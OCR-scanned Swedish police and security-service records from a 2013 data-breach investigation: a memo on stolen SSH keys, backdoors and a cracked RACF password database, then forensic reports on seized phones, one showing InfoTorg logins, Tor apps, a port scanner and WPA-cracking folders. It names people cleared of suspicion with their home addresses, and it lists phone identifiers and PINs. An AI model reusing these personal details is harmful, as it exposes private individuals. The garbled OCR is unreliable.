lättare ska ku n n a  lösa tvister me l lan Pol isen och Appl icate . Om Pol isen ifrågasätter varför 
kostnaden e n  viss månad var särski lt hög , kan Appl icate visa på exakt vad o rsake n  var och 
vi lke n  po l is  som sökt på vad . Faktu rau nderlaget visar t ex reg ist re ri ngsn u m m e r  fö r b i lar,  
nam n och perso n n u m m e r  på perso ner  och ad resser. Eftersom ang ripare n  även har RAC F
databasen m ed a l la  användarn a m n  och den  organ isato riska t i l l h ö righeten är det då möj l igt 
att u ndersöka vi lka användarnam n som är knutna t i l l  "Span R"-kategor in  och vi l ka 
bostadsad resse r dessa har  varit i ntresse rad av. Det ska t i l läggas att det faktu raunderlag vi 
sett kop ie rats ut var m i nst 4 år gamla och därm ed i nte högaktue l la .  
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De t id igare redovisade exemplen visar endast på n åg ra möj l iga al lvarl iga ko nsekve nser .  
N edan följer  någ ra korta exe m pe l  på annan i nformat ion som stu l its där de framtida 
ko nsekvenserna kan vara al lvarl iga :  

• SSH7-nycklar och bakdö rrar 

l angreppen är det i nte endast dataset från o l i ka mynd igheter och fö retag som kopierats ut .  
Ko nfig u rat ionsf i le r  från stordatorm i ljöerna,  privata SSH-nycklar och cert if i kat är också 
exe m pe l  på data som angri paren kom m it över. Vi  kan se att s ignatu re n  "tU" refere rar i 
ch atten ( För  f ler  detaljer  i denna chatt se i n hämtat m aterial från Passagen)  t i l l  en  SSH
nycke l som han använt fö r att skapa e n  bakdörr ti l l  e n  v iss host/server .  Sam ma SSH
nyckel återf inns  också på f lera stäl len i beslag 20 1 2-020 1 -BG25023-26 ,  se b i laga 1 7 . 
Frågor man m åste stä l la  s ig är :  h u r  m ånga f ler  bakdörrar har angr ipare n  place rat vid andra 
servrar? H u r  många privata nycklar har  kopierats ut so m vi i nte har vetskap om och vi lka 
servrar ger de access ti l l ?  

• Lösenord 

RAC F-database n har  som t id igare påpekats stu l its och ang riparen kan även koppla 
personnam n  t i l l  de knäckta lösenorden .  Det rö r s ig o m  ci rka 1 30000 användarnam n e n l igt 
E l i sabeth G u m m esso n på Log ica. Åte ranvänds dessa lösenord någo nstans? Det är 
betyd l igt fler användare av I nteTorg-tjänsterna än de som bl ivit u ppm ärksam m ade på att 
deras lösenord kopierats ut .  F inns  det andra lösenord som ang ri pare n kom m it över? 
säkerhetspo l isen har ko nstaterat att vissa lösenord anges i klartext i t . ex .  FTP-batchjob 
host Log ica. 

• Käl lkod8 

Det förekommer  också att ang ripare n  ko m m it öve r käl lkod . Det är både kod t i l l  pol isens 
äld re system och t i l l  N avet9 . Äve n om viss kod i nte längre används kan kode n  användas för 
att lära s ig om bef int l ig  i nfrastruktur .  Om koden används kan angri pare n istäl let fokuse ra på 
att f i nna  sårbarheter i koden . 

7 Secure Shell, ett sätt att ansluta mot andra datorer 
8 Programkod som utgör grunden för ett datorprogram 

Jesper Blomström Informationssäkerhetsenheten säkerhetspol isen 01 0-568 70 00 

9 Se Skatteverkets egen beskrivning av Navet i förundersökningsprotokollet 



PM Säkerhetspol isens analys gäl lande data intrånget, 20 1 3-03-22 1 4 :37 d iar ienr: 020 1 -K8 1 864- 1 2 

säke rhetspo l isen P M  

201 3-03-25 

Perso n n u m ret som ang ivit som exe m pel  är 

Datasetet so m används för att f i nna  aktue l l  ad ress är 
t i l l h ö r  e n l igt Appl icate , 

Ad ressen som återf inns  i visar på :  

Perso n n u m ret t i l l hör :  

228 
1 2  ( 1 3) 

B i laga 1 

och 



PM Säkerhetspol isens analys gäl lande dataintrånget, 20 1 3-03-22 1 4 :37 d iarienr :  020 1 -K81 864- 1 2 

säkerhetspol isen PM 

201 3-03-25 

B i laga 2 - f i len  u3 . txt 

F i len är ett utd rag från RAC F-database n i SYS 1 9 och visar på i ntresse för - so m har skyddad identitet. Detta är f i len i s in  he l het.  

• • • • • • • • • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • • • • • • • • • • • • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • • • • • • • • • • • 
• • • • • • • • • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  • • • • • • • •  
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230 

Polisen 
Pol ismynd igheten i Stockho lms län 

Länskriminalpolisavdelningen 
!T-forensiska sektionen 

Undersökn i ngsprotokol l 
Datum 

20 1 3-03-2 1 

Diarienr (åberopas vid korresp) 

020 1 -K8 1 864- 1 2  

Undersökningsprotokoll för beslag 2012-0201-BG8693, 
2012-0201-BG8787, 2012-0201-BG8660, 2012-0201-BG8678-7 
samt 2012-0201-BG8919-14. 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

Olle Wahlström LU/IT 

Handläggare på IT -forensiska sektionen Medundersökare 

IT-forensiker Robert Pock IT-forensiker Stefan Sander 

Arendetyp Undersökningstyp 

Dataintrång Analys av mobila enheter 

I n kom t i l l  !T-forensiska sektionen Undersökningen påbörjad datum 

20 13 -03-20 20 1 3-03-20 

Undersökningsadress 

Norra Agengatan 33 

Inledning 

!T-forensiska sektionen fick i uppgift att avläsa befintlig information samt 
återskapa eventuellt raderad data ur åtta stycken mobiltelefoner. Grunden till 
undersökningen är utredning av datorintrång. 

Sammanfattning 

Inget som bedömdes vara av intresse för utredningen påträffades vid 
undersökningarna av beslagspunktema. 

l ( 1 1 )  



Undersökn ingsprotokol l Beslag 20 1 2-0201 -BG8693 med flera ,  Mob i l ,  201 3-03-2 1 1 6 :05 d iarienr :  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Innehållsförteckning 
Inledning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 

Sammanfattning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 

Förklaring . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

Logisk avläsning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

Fysisk avläsning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

20 1 2-020 1 -BG8693-2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

20 1 2-020 1 -BG8693-9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

20 1 2-020 1 -BG8787-2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

20 1 2-020 1 -BG8787- l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 

20 1 2-0201 -BG8660- l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

20 1 2-020 1 -BG8660-2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  9 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l O 

20 1 2-020 1 -BG8678-7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l O  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

20 1 2-020 1 -BG89 1 9- 1 4  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

23 1 

2 



Undersökningsprotokol l  Beslag 201 2-0201 -888693 med flera ,  Mob i l ,  201 3-03-2 1 1 6 :05 d iarienr: 020 1 -K8 1 864- 1 2 
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Polismyndigheten i Stockholms län 20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Förklaring 

Information på en mobiltelefon kan avläsas på två olika sätt. 

Logisk avläsning 
Ett forensiskt program kommunicerar med mobiltelefonens modem som med 
hjälp av olika kommandon skickar ut den information som finns lagrad och är 
synlig på enheten. Raderad information kan inte avläsas på detta sätt annat än 
på SIM-kort 

Fysisk avläsning 
Hela (eller delar av) telefonminnet dumpas .  Därefter avkodas denna fil .  På 
detta sätt kan eventuell raderad information samt information om tidigare 
isatta SIM-kort återfinnas. 

3 



U ndersökn ingsprotokol l  Beslag 201 2-020 1 -888693 med flera ,  Mobi l ,  201 3-03-2 1 1 6 :05 d iarienr: 020 1 -K8 1 864- 1 2  

233 

Polismyndigheten i Stockholms län 

2012-0201-BG8693-2 

Fabrikat: Samsung 
Modell : Galaxy S 
TI\1EI: 35478 1 04 1 0 1 85 1 3  

STI\1-kort: J a 
ICCTID: 89462044 1 100 1 0522 1 35 
PIN-kod: Inaktiv 

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Telefonen avlästes logiskt. Det virtuella minneskortet avlästes fysiskt. Sim
kortet avlästes separat. 

Bild 1 :  20 1 2-020 1 -BG8693-2, framsida Bild 2: 20 1 2-020 1 -BG8693 -2, baksida 

Iakttagelser och undersökningar 

Bild 3 :  Sim-kort som satt i 
beslagspunkt 20 1 2-020 1 -BG8693-2. 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

4 



U ndersökn ingsprotokol l  Beslag 20 1 2-020 1 -888693 med flera ,  Mobi l ,  201 3-03-2 1 1 6 :05 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 

2012-0201-BG8693-9 

Fabrikat: Samsung 
Modell: Galaxy S2 
IMEI: 358 1 50040398696 

SIM-kort: Ja 
Operatör: Halebop 
ICCID: 89460 1 10 100607067209 
PIN-kod: 78 1 3  

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Telefonen avlästes logiskt. Det virtuella minneskortet avlästes fysiskt. Sim
kortet avlästes separat. 

Bild 4: 20 12-020 1 -BG8693-9, 
framsida 

Bild 5 :  20 1 2-020 1 -BG8693-9, 
baksida 

Bild 6: Sim-kort som satt i beslagspunkt 20 1 2-020 1 -BG8693-9. 

234 
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Undersökn ingsprotokol l  Beslag 201 2-0201 -BG8693 med flera ,  Mobi l ,  201 3-03-2 1 1 6 :05 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-03-21 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG8787 -2 

Fabrikat: Sony Ericsson 
Modell : W660i 
IMEI: 357 155017093965 
SIM-kort: Saknas 

Telefonen kunde ej avläsas . 

020 1 -K8 1 864- 1 2  

Bild 7 :  20 1 2-020 1 -BG8787-2, framsida Bild 8: 20 1 2-020 1 -B G8787-2, baksida 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

235 
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Undersökn i ngsprotokol l  Beslag 20 1 2-0201 -888693 med flera , Mob i l ,  201 3-03-2 1 1 6 :05 d iarienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 

2012-0201-BG8787 -1  

Fabrikat: Nokia 
Modell : 5300 
D\1EI: 35456401 7957975 

SD\1-kort: Saknas 

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Telefonen gick inte att starta. Den avlästes fysiskt och minneskortet avlästes 
fysiskt separat. 

Bild 9 :  20 1 2-020 1 -BG8787-2, 
framsida 

Iakttagelser och undersökningar 

Bild 10 :  20 1 2-020 1 -BG8787-2, 
baksida 

Ingenting som bedömdes vara relevant för utredningen påträffades .  

236 
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U ndersökn ingsprotokol l  Beslag 201 2-020 1 -888693 med flera , Mobi l , 201 3-03-2 1 1 6 :05 d iarienr: 020 1 -K8 1 864-1 2 
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Polismyndigheten i Stockholms län 

2012-0201-BG8660-1 

Fabrikat: Sony Ericsson 
Modell : W205 
TI\1EI: 359026039659240 

STI\1-kort: Ja 
Operatör: Tele2 Comviq 
ICCDD: 89462040230037629434 
PIN-kod: Inaktiv 

20 1 3-03-2 1 020 l -K8 1 864- 1 2  

Telefonen avlästes logiskt. Sim-kortet avlästes separat. 

Bild 1 1 :  20 1 2-020 1 -BG8660- 1 ,  
framsida 

Iakttagelser och undersökningar 

Bild 1 2: 20 1 2-020 1 -BG8660- l ,  
baksida 

B ild 1 3 :  Sim-kort som satt i beslagspunkt 
20 1 2-020 1 -BG8660- 1 .  

Ingenting som bedömdes vara relevant för utredningen påträffades. 

8 



Undersökn ingsprotokol l Beslag 201 2-020 1 -888693 med flera , Mobi l ,  201 3-03-2 1 1 6 :05 d iar ienr:  020 1 -K8 1 864- 1 2 
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Polismyndigheten i Stock:holms län 

2012-0201-BG8660-2 

Fabrikat: HTC 
Modell : Wildfrre 
TI\1EI: 3582250430 1 05 1 2 

STI\1-kort: Ja 
Operatör: Telia 
ICCID: 89460 1000301220 1 34 1 6  
P�-kod: Ja, okänd 

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Telefonen avlästes logisk. Minneskortet avlästes fysiskt separat. 

Bild 14:  20 1 2-020 1 -BG8660-2, 
framsida 

8 9 4 b 0  
1 0 0 0 3 
0 1 2 2 0  
1 3 4 1 6  

Bild 1 5 :  20 1 2-020 1 -BG8660-2, 
baksida 

Bild 1 6 : Sim-kort som satt i beslagspunkt 
20 1 2-020 1 -B G8660-2. 

9 



Undersökn ingsprotokol l  Beslag 20 1 2-020 1 -888693 med flera , Mob i l ,  20 1 3-03-2 1 1 6 :05 d iarienr: 020 1 -K8 1 864- 1 2  

239 

Polismyndigheten i Stockbolms län 20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades .  

2012-0201-BG8678-7 

Fabrikat: Apple 
Modell : iPhone 4 
IMEI: 0 1 2646007033299 

SIM-kort: Ja 
Operatör: Telia 
ICCID: 89460 1 10 10 1207382733  
P�-kod: Ja, okänd 

Bild 1 7 :  20 1 2-020 1 -BG8678-7, framsida Bild 1 8 :  20 1 2-020 1 -B G8678-7, 
baksida 

Bild 1 9 :  Sim-kort och des släde som 
satt i beslagspunkt 20 1 2-020 1 -
B G8678-7 . 

1 0  



U ndersökn ingsprotoko l l  Beslag 20 1 2-020 1 -BG8693 med flera ,  Mobi l ,  201 3-03-2 1 1 6 :05 d iarienr :  020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-03-2 1 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG8919-14 

Fabrikat: Sony Ericsson 
Modell: S500i 

Telefonen avlästes ej på grund av att misstankarna avskrivits . 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

020 1 -K8 1 864- 1 2 

240 
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Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

PM 
Backe , Lagerg ren och Pa lmqvist 

Signerad av 

Signerad datum 

Diarienr 

020 1 -K8 1 864- 12  
Uppgiftslämnare Datum Tid 

Steenmark, John G 20 1 3-02- 1 9  08 :58  
Beslag verkställt Material för analys 

Nej Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

Upprättad av 

John G Steenmark 

Uppg iften avser 

Pm Backe, Lagergren och Palmqvist 
Uppgift 

Mottaget datum Tid 

Initialt i utredningen, 20 12-03 -30, gjordes husrannsakningar på fyra olika platser i Dalarna. 
De beslagnummer som blev aktuella var : 

20 12-020 1 -BG8678 :  Matilda Palmqvist, Generatorgatan 3c  i Ludvika. 
201 2-020 1 -BG8693 : Lars Mikael Backe, skogsrundan l i Ludvika. 
201 2-020 1 -BG8787 :  Per Jonas Backe, Särängsvägen 39,i Söderbärke. 
20 12-020 1 -BG89 1 9 :  Ove Lagergren, stensvedsvägen 7 i Bäsna. 

Alla misstankar mot dessa personer är avskrivna. Beslagen har gåtts igenom och inget av 
intresse för utredningen har påträffats .  

Familjen Backe på  skogsrundan l hade fått sin trådlösa router hackad av den misstänkte 
Mathias Gustafsson. 

24 1 



U ndersökn ingsprotoko l l  Beslag 201 2-020 1 -B G 1  022 1 , Mobi l ,  20 1 3-03-2 1 1 6 : 1 1 d iarienr :  020 1 -K8 1 864- 1 2 

Polisen Undersökningsprotokol l  
Datum 

Pol ismyndig heten i Stockhol m s  län 20 1 3-03-2 1 

Länskriminalpolisavdelningen Diarienr (åberopas vid korresp) 

IT-forensiska sektionen 020 1 -K8 1 864- 1 2  

Undersökningsprotokoll för beslag 2012-0201-BG10221 

Utredn ingsman Bestäl lande enhet Telefon till utredningsman 

Olle Wahlström L U liT 

Handläggare på !T-forensiska sektionen Medundersökare 

IT -forensiker Robert Pock 

Arendetyp Undersökn ingstyp 

Dataintrång Analys av mobila enheter 

I nkom t i l l  !T-forensiska sektionen Undersökn ingen påbörjad datum 

20 1 2-04- 1 5  20 1 2-04- 1 5  

Undersökn i ngsadress 

Norra Agnegatan 33 

Inledning 

!T-forensiska sektionen fick i uppgift att avläsa befintlig information samt 
försöka återskapa eventuellt raderad data ur två mobiltelefoner, två digitala 
musikspelare och åtta sim-kort. Grunden till undersökningen är utredning av 
dataintrång. 
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Undersökn ingsprotokol l  Beslag 20 1 2-020 1 -BG 1 022 1 , Mob i l ,  201 3-03-2 1 1 6 : 1 1 d iarienr :  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stock:holms län 20 1 3-03-2 1 020 l -K8 1 864- 1 2  

Sammanfattning 

I beslagspunkt 20 1 2-020 1 -BG l 022 1 -25 , som är en mobiltelefon, har det 
påträffats ett antal inloggningsuppgifter till lnfotorgs webbtjänst. Vidare har 
det också påträffats applikationer för att använda en så kallad 
anonymitetstjänst samt verktyg för att upptäcka anslutningsmöjligheter på 
andra enheter. 

I beslagspunkt 20 1 2-020 1 -BG l 022 1 -44, ett minneskort som satt i 
beslagspunkt 20 1 2-020 1 -BG1022 1 -25 , har det återfunnits flera filer med 
inloggningsuppgifter till trådlösa nätverk samt avlyssnad nätverkstrafik. 

Utöver detta har det också påträffats textfragment som troligtvis härrör från en 
raderad fil .  Textfragmenten består av användarnaron och lösenord samt 
behörigheter till Infotorgs tjänster. 

I beslagspunkt 20 1 2-020 1 -BG 1 022 1 -40, 20 1 2-0201 -BG 1 022 1 -2, 20 1 2-020 1 -
BG1022 1 -4, 20 1 2-020 1 -BG1022 1 -5 och 20 1 2-020 1 -BG1022 1 -7 påträffades 
ingenting som bedömdes vara relevant för utredningen. 

243 
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Undersökn ingsprotokol l  Beslag 20 1 2-020 1 -BG 1 022 1 , Mobi l , 201 3-03-2 1 1 6 : 1 1 d iarienr :  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-03-2 1 020 1 -K8 1 864- 1 2  
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Förklaringar 

Applikationer 

En applikation, eller i vardagligt tal "app", är ett program som installeras i en 
"smart telefon". En "smart telefon" har ett antal, av tillverkaren, 
förinstallerade applikationer. Dessa utgör ett grundutbud av funktioner som till 
exempel möjlighet till att ringa, fotografera, skriva anteckningar, skicka och ta 
emot meddelanden och e-post, besöka webbsidor på internet m.m. 

Utöver dessa applikationer kan sedan användaren välj a  att installera ytterligare 
applikationer med funktioner som denne anser sig vara i behov av. En 
applikation kan vara allt från ett spel till ett program som är skapat för att 
uppfylla ett direkt syfte t .ex. visa tv-tablån eller ge snabb och enkel åtkomst 
till sociala medier. Applikationer kan både kosta pengar och vara kostnadsfria. 

Roota 

"Roota" härstammar från ett engelskt uttryck som innebär att man förändrar 
telefonens system så att man får en större kontroll över telefonens system och 
funktioner. När man har utfört detta kan man bland annat installera 
applikationer som kräver högre behörigheter till telefonens system och 
hårdvara. När telefonen genomgått denna process är det också möjligt att 
ersätta och modifiera operativsystemet i telefonen. 

Google Play 

Applikationer till telefoner med operativsystemet Android laddas i 
normalfallet ner via en tj änst som heter "Google Play" . Denna tjänst fungerar 
som en affär, där utvecklarna också får chans att beskriva applikationernas 
funktioner och visa bilder på hur applikationerna ser ut. Där marknadsförs 
avgiftsbelagda applikationer såväl som kostnadsfria. 

IRC 

IRC (Internet Relay Chat) är en chatt som tillåter flera användare att 
kommunicera med varandra i chattrum eller enskilt genom bland annat 
textmeddelanden direkt till en specifik användare. 

Anonymitetstjänst 

En anonymitetstj änst syftar till att dölja  användarens riktiga ip-adress för att 
göra så att användaren inte går att spåra. 

Logisk avläsning 

Datorn kommunicerar med mobiltelefonens modem som med hjälp av olika 
kommandon skickar ut den information som finns lagrad och är synlig på 
enheten. Raderad information kan inte avläsas på detta sätt annat än på SIM
kort. 
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Fysisk avläsning 

Hela (eller delar av) telefonminnet avläses .  Därefter avkodas denna fil .  På 
detta sätt kan eventuell raderad information samt information om tidigare 
isatta SIM-kort återfinnas . 

Oallokerat utrymme 

Oallokerat utrymme är delar av minnet som systemet inte längre använder men 
där systemet kan ha lagrat information tidigare och som fortfarande finns kvar 

MDS-hashsumma 

En MD5-hash är en kontrollsumma som beräknas utifrån innehållet i en fil .  
Detta är ett vedertaget sätt för att enklare kunna fastställa om innehållet i filer 
är identiska. 
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2012-0201-BG l 0221-25 

Fabrikat: Sony Ericsson 
Modell : Xperia LT1 5i 
TI\1EI: 0 1 2682004835568 

STI\1-kort: Ja 
Operatör: Telenor 
ICCID:  89460843907000878329 
PIN-kod: 5303 

20 1 3-03-2 1 

Telefonen har avlästs logiskt och fysiskt. Sim-kortet avlästes separat. 

Sony Ericsson ll15l 
$1 12'7 - 1113 Cl5 
TYPE AAD-3A0017 - IV AMI 
nx ID: mAJIIOOil 11W21 
IC: 4t7B-� 
11 1 1 1 1 1 111111 11 1 1  . ..  1 1 1  1111: CIU1Q7TU l1111211-o&13551-l 
11 111 11 1··· · · - � · ·  

C E 0682 <D :R 
- · -

020 1 -K8 1 864- 1 2  

Bild 1 :  20 1 2-020 1 -BG 1 022 1 -25, framsida Bild 2 :  20 1 2-020 1 -B G 1 022 1 -25 , baksida 

4 3 11  0 7 0 0  
0 1 7 8 3 2  Il 

Bild 3 :  Sim-kort som satt i beslagspunkt 
20 1 2-020 1 -BG 1 022 1 -25 
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Iakttagelser och undersökningar 

Kontakter 

I kontaktboken påträffades, bland andra, följande kontakt: 

ana kata@prq . se E - post ana kata@prq . se 

Applikationer 

Telefonen var "rootad". Nedan följer information om installerade 
applikationer som har bedömts innehålla relevant information för utredningen 
samt vilken information som säkrats . 

And/R C 
Ingen beskrivning kunde hittas av applikationen AndiRC men av 
programfilerna att döma talar det för att applikationen används för att 
kommunicera via IRC (Internet Relay Chatt) . 

Det användamamn som troligtvis använts i chatten fanns lagrat i 
inställningarna för applikationen. Användamarnuet som påträffades är: 
"diROX". 

Browser 

"Browser" kallas den webbläsare som kommer förinstallerad i 
operativsystemet Android. Det har påträffats 8 stycken registrerade 
inloggningsuppgifter, i form av användamamn och lösenord, kopplade till 
Infotorgs webbtjänst samt internetadresser relaterade till www.infotorg. se i 
intemethistoriken. 

Dropbox 

Dropbox är en applikation skapad för att användaren skall ha åtkomst till sina 
filer från olika enheter. Filerna lagras på en server som tillhandahålls av 
företaget. Filer som lagras på användarens Dropbox synkroniseras automatiskt 
till samtliga av användarens enheter som har applikationen installerad. På så 
vis kan man nå sin personliga information från olika enheter. 

Det återfanns spår i telefonen efter en fil som troligtvis har funnits på 
användarens Dropbox. Filnamnet var vid detta tillfälle "54-E6-FC-BE-80-
9A_Backe.txt" och låg under sökvägen "/keys/wpa-knackt/" troligtvis på det 
utrymme som användaren disponerat på företagets servrar. 

lnfoTorg 

Applikationen InfoTorg fanns installerad på telefonen. Denna applikation är 
utgiven av Infotorg och ska enligt beskrivning ge tillgång till Infotorgs system 
för slagning på personer, företag och fordon samt juridiska nyheter. 
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Vid en live-undersökning startades applikationen och då återfanns 
användarnamnet "KURS 1 04" redan ifyllt i fältet för inloggning. Se bild 3 .  

Port Scanner 

Port Scanner är en applikation som låter användaren söka efter öppningar (så 
kallade portar) på en enhet som är möjliga att ansluta till . Enheten pekas ut 
genom att dess adress anges .  

När applikationen Port Scanner startades fanns adressen "ftp.infotorg. se" ifylld 
i fältet för adress. Se bild 4 .  

l KURS 1 04 

( Lösenord 

0 Hål l  m ig  inloggad 

Inte kund hos In foTarg ännu? 

Bild 4: Applikationen "InfoTorg" och det Bild 5 :  Applikationen "Port Scanner" och 
förifyllda användarnarnnet. den förifyllda adressen. 

Orbot och Orweb v2 
Orbot är en kostnadsfri programvara som, enligt utvecklaren, möjliggör för 
mobilanvändare att få anonym åtkomst till Internet. 
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Orweb är en webbläsare som är skapad för att kombineras med Orbot. Med 
denna applikation kan användaren besöka webbsidor anonymt. Tanken är att 
anslutningen till webbsidan inte skall gå att spåra tillbaka till användaren. 

När applikationen Orweb startades i samband med undersökningen försökte 
den automatiskt att besöka hemsidan www.infotorg. se (se bild 5) .  

Webbsidan p å  www.i nfotorg.se kan vara 
t i l l fä l l igt avstängd el ler h a  flyttats 
permanent t i l l  en ny we bbad ress. 

Här är  några förslag:· 
• Kontrol lera att d i n  enhet h a r  signa l 

och dataans lutn i ng 
• Ladda d e n n a  webbsida igen 

senare .  
• Visa  e n  kopia  av s idan  frå n  

cacheminnet  frå n Google 

Bild 6 :  Applikationen "Orweb v2" försöker automatiskt ansluta mot webbsidan 
www.infotorg.se vid start. 

Analys och slutsats 

Det talar för att telefonen har använts för att ansluta mot fufotorgs system, 
både genom telefonens förinstallerade webbläsare och genom den 
användarinstallerade tredjepartsapplikationen "InfoTorg". Dessutom har 
troligtvis www.infotorg. se besökts anonymt genom att kombinera 
applikationerna Orbot och Orweb. 

Baserat på förekomsten av adressen ftp .infotorg. se är enheten, med denna 
adress, troligtvis ett mål för kartläggning av vilka anslutningsmöjligheter som 
finns tillgängliga. 
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Minneskortet satt i beslagspunkt 20 1 2-020 1 -BG l 022 1 -25 . 

Modell : microSDHC 
Lagringskapacitet: 1 6  GB 

Bild 7: B eslagspunkt 20 1 2-020 1 -B G 1 022 1 -44 

Iakttagelser och undersökningar 

Textfragment i oallokerat utrymme. 

020 1 -K8 1 864- 1 2  

I det oallokerade utrymmet p å  minneskortet påträffades ett textfragment som 
innehåller inloggningsuppgifter och behörigheter för ett flertal konton. 
Fragmenten liknar innehållet i filen "kontoninfo" som påträffats i materialet 
inhämtat från Passagen.se. Ett av användarnamnen i fragmentet har också 
påträffats bland de sparade inloggningsuppgifterna i telefonens (20 1 2-020 1 -
B G  l 022 1 -25) webbläsare "Bro w ser" . 

Ubuntu One 

Denna applikation är ett sätt att använda tjänsten Ubuntu One på 
mobiltelefonen. Tjänsten liknar "Dropbox" på så vis att man skall kunna dela 
med sig av filer mellan enheter genom att lagra dem på ett personligt utrymme 
på företagets server. Enligt utvecklaren synkroniseras bilder som tas med 
mobiltelefonens inbyggda kamera till det personliga utrymmet automatiskt och 
är därefter åtkomligt från samtliga av användarens enheter som är anslutna till 
tjänsten. 

Bild 8 visar katalogstrukturen för katalogen "u l" och underliggande kataloger 
på minneskortet 
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reaver_v1.4 
word l ists 
wpsto ols 

Keys 
w ep 
wp a - ca ptu res 
wp a - kn a ckt 
wp a - okn ä ckt 

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Bild 8 :  Katalogstrukturen under sökvägen 

"/ul/Ubuntu One/" på minneskortet 

